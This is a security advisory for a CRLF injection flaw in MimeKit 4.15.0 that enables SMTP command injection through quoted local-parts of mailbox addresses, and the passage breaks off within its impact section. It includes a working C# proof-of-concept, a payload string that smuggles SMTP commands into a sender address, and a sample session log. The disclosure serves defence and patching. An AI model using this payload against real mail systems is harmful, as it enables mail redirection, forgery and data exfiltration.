GHSA-g7hc-96xr-gvvx MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

• NuGet MimeKit: < 4.15.1 → fixed in 4.15.1

Summary A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed `\r\n` into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional `RCPT TO` / `DATA` / `RSET` commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a `MailboxAddress` (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session. RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside `Quoted-string` (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by ``, making CRLF injection in command arguments particularly dangerous. Details 1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string RFC 5321 defines: ```text mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF Reverse-path = Path / "<>" Path = "" A-d-l = At-domain *( "," At-domain ) At-domain = "@" Domain Mailbox = Local-part "@" ( Domain / address-literal ) Local-part = Dot-string / Quoted-string Dot-string = Atom *("." Atom) Atom = 1*atext atext = ALPHA / DIGIT / "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~" Quoted-string = DQUOTE *QcontentSMTP DQUOTE QcontentSMTP = qtextSMTP / quoted-pairSMTP quoted-pairSMTP = %d92 %d32-126 qtextSMTP = %d32-33 / %d35-91 / %d93-126 ``` When the local part is a quoted string, the characters and are not allowed. 2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant) In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, `MailboxAddress` can accept addresses like `"attacker\r\nRCPT TO:\r\n"@example.com` as a valid address. 3) Affected components / versions • MimeKit 4.15.0 (as tested) • MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that: • Accepts untrusted input for sender/recipient addresses, and • Constructs `MailboxAddress` from that input, and • Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted. PoC Environment: • .NET SDK: 8.0.418 • Target Framework: net8.0 • Packages: MailKit 4.15.0 (with MimeKit 4.15.0) • Use ProtocolLogger to capture the SMTP session and confirm injection. 1) Create a minimal project: mimekit_poc.csproj ```xml Exe net8.0 enable enable ```` 2. PoC program (replace SMTP host/port/address as needed): ```csharp using MailKit.Net.Smtp; using MailKit.Security; using MailKit; using MimeKit; // === payload and target setting === var smtpHost = "xx.xx.xx.xx"; var smtpPort = 25; var useTls = false; // attack in `MAIL FROM` cmd with address grammar in double quote var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:\r\nRCPT TO:\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com"; // log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt var logDir = Path.Combine(AppContext.BaseDirectory, "log"); Directory.CreateDirectory(logDir); var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff"); var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}"); // === below smtp session === // mimekit api var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput); var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com"); var headerFrom = new MailboxAddress("Sender", "[email protected]"); var headerTo = new MailboxAddress("Recipient", "[email protected]"); var message = new MimeMessage(); message.From.Add(headerFrom); message.To.Add(headerTo); message.Subject = "mimekit CRLF injection poc"; message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" }; try { using var protocolLogger = new ProtocolLogger(logPath); using var client = new SmtpClient(protocolLogger); var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None; client.Connect(smtpHost, smtpPort, socketOption); client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt }); client.Disconnect(true); Console.WriteLine("[+] successfully send mail"); Console.WriteLine($"[+] view smtp session log at: {logPath}"); } catch (SmtpCommandException ex) { Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}"); Console.Error.WriteLine($"[!] view smtp session log at: {logPath}"); Environment.ExitCode = 1; } catch (SmtpProtocolException ex) { Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}"); Console.Error.WriteLine($"[!] view smtp session log at: {logPath}"); Environment.ExitCode = 1; } catch (Exception ex) { Console.Error.WriteLine($"[!] unknown err: {ex.Message}"); Console.Error.WriteLine($"[!] view smtp session log at: {logPath}"); Environment.ExitCode = 1; } ``` 3. Expected result • `MailboxAddress` accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF. • The generated SMTP session (captured by ProtocolLogger) shows the `MAIL FROM` line being split by the injected CRLF, followed by attacker-controlled SMTP commands. • `tcpdump` also shows the same raw SMTP stream (optional confirmation). Example (illustrative) excerpt from smtp session log showing the CRLF injection effect: ```txt Connected to smtp://xxx.xxx.xxx.xxx:25/ S: 220 xxx Axigen ESMTP ready C: EHLO KC1zs4-TPt14p S: 250-xxx Axigen ESMTP hello S: 250-PIPELINING S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI S: 250-8BITMIME S: 250-SIZE 10485760 S: 250-HELP S: 250 OK C: MAIL FROM: C: RCPT TO: C: DATA C: . C: QUIT C: here"@poc.send.com> SIZE=293 C: RCPT TO: S: 553 Invalid mail address S: 250 Reset done S: 250 Sender accepted S: 250 Recipient accepted S: 354 Ready to receive data; remember . S: 250 Mail queued for delivery S: 221-xxx Axigen ESMTP is closing connection S: 221 Good bye C: RSET ``` Notes: • Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via `MailboxAddress`) is sufficient to demonstrate the vulnerability class and protocol non-compliance. • SMTP commands are terminated by ``, so CRLF-in-argument is structurally hazardous by design. Impact Vulnerability class: • SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO). • Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed). Who is impacted: • Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.). Potential consequences: • Add or modify SMTP recipients by injecting extra `RCPT TO` commands (mail redirection / data exfiltration). • Corrupt the SMTP transaction state (`RSET`, `NOOP`, etc.) or attempt early `DATA` injection (server-dependent). • In some environments, may enable header injection if the attacker can pivot from envelope manipulation i…